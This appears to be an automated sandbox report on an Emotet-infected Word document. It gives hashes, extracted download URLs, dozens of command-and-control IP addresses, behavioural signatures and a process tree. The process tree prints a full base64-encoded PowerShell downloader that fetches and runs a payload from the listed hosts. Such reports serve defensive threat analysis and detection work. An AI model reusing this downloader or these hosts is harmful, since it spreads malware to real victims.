Analysis
-
max time kernel
135s -
max time network
151s -
platform
windows10_x64 -
resource
win10 -
submitted
29-07-2020 03:09
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3_2020-07-29__030915._doc.doc
Resource
win7
General
-
Target
emotet_e1_915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3_2020-07-29__030915._doc.doc
-
Size
171KB
-
MD5
431210cc4c663348d52f4e9bf0de9d28
-
SHA1
53006e42e872aa0c6aeacdef15573da8ec467d2c
-
SHA256
915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3
-
SHA512
3d4883bb32b0b539b988bc362c700d5e30e1575a288e6c6dce7a1e5bc959a193b4a365618ed1d4133aa7f811c59a37ba61e4ada4b28a46747fa26bd1b5c10d9e
Malware Config
Extracted
http://arizonaonsale.com/cgi-bin/VuM64/
https://www.compednet.com/wp-content/Nv55027/
http://eltallerartistico.com/language/Uybj0/
http://classicpaint.net/wp-content/tVS1/
http://closhlab.com/OWN/lUvYIzLMa/
Extracted
emotet
179.60.229.168:443
185.94.252.13:443
189.218.165.63:80
77.90.136.129:8080
217.199.160.224:7080
104.131.41.185:8080
2.47.112.152:80
185.94.252.27:443
186.250.52.226:8080
51.255.165.160:8080
68.183.170.114:8080
191.99.160.58:80
104.131.103.37:8080
181.31.211.181:80
202.62.39.111:80
83.169.21.32:7080
87.106.46.107:8080
72.47.248.48:7080
177.75.143.112:443
190.17.195.202:80
137.74.106.111:7080
181.129.96.162:8080
82.196.15.205:8080
61.92.159.208:8080
190.6.193.152:8080
181.167.96.215:80
143.0.87.101:80
12.162.84.2:8080
212.71.237.140:8080
217.13.106.14:8080
46.214.11.172:80
114.109.179.60:80
89.32.150.160:8080
185.94.252.12:80
177.72.13.80:80
192.241.146.84:8080
189.1.185.98:8080
187.106.41.99:80
219.92.13.25:80
181.30.69.50:80
68.183.190.199:8080
212.231.60.98:80
190.181.235.46:80
157.7.199.53:8080
178.79.163.131:8080
77.55.211.77:8080
204.225.249.100:7080
170.81.48.2:80
104.236.161.64:8080
5.196.35.138:7080
190.194.242.254:443
50.28.51.143:8080
187.162.248.237:80
46.28.111.142:7080
70.32.84.74:8080
203.25.159.3:8080
190.163.31.26:80
177.144.135.2:80
177.73.0.98:443
177.139.131.143:443
177.74.228.34:80
191.182.6.118:80
94.176.234.118:443
45.161.242.102:80
149.62.173.247:8080
144.139.91.187:443
181.120.79.227:80
80.249.176.206:80
71.50.31.38:80
172.104.169.32:8080
192.241.143.52:8080
111.67.12.221:8080
190.96.118.251:443
186.70.127.199:8090
190.147.137.153:443
177.66.190.130:80
70.32.115.157:8080
Signatures
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powersheLL.exewlanpref.exepid process 3768 powersheLL.exe 3768 powersheLL.exe 3768 powersheLL.exe 1448 wlanpref.exe 1448 wlanpref.exe 1448 wlanpref.exe 1448 wlanpref.exe 1448 wlanpref.exe 1448 wlanpref.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 10 3768 powersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
45.exewlanpref.exepid process 952 45.exe 1448 wlanpref.exe -
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/952-8-0x0000000000670000-0x000000000067C000-memory.dmp emotet behavioral2/memory/1448-11-0x0000000000630000-0x000000000063C000-memory.dmp emotet -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Drops file in System32 directory 1 IoCs
Processes:
45.exedescription ioc process File opened for modification C:\Windows\SysWOW64\msyuv\wlanpref.exe 45.exe -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3768 3856 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 3768 powersheLL.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
45.exedescription pid process target process PID 952 wrote to memory of 1448 952 45.exe wlanpref.exe PID 952 wrote to memory of 1448 952 45.exe wlanpref.exe PID 952 wrote to memory of 1448 952 45.exe wlanpref.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
WINWORD.EXE45.exewlanpref.exepid process 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 3828 WINWORD.EXE 952 45.exe 952 45.exe 1448 wlanpref.exe 1448 wlanpref.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3828 WINWORD.EXE 3828 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_915ae2165210e21055c3ce6e6c455943b75d0ab07c690a48d810bcf2ab79d0f3_2020-07-29__030915._doc.doc" /o ""1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3828
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3768
-
C:\Users\Admin\45.exeC:\Users\Admin\45.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:952 -
C:\Windows\SysWOW64\msyuv\wlanpref.exe"C:\Windows\SysWOW64\msyuv\wlanpref.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1448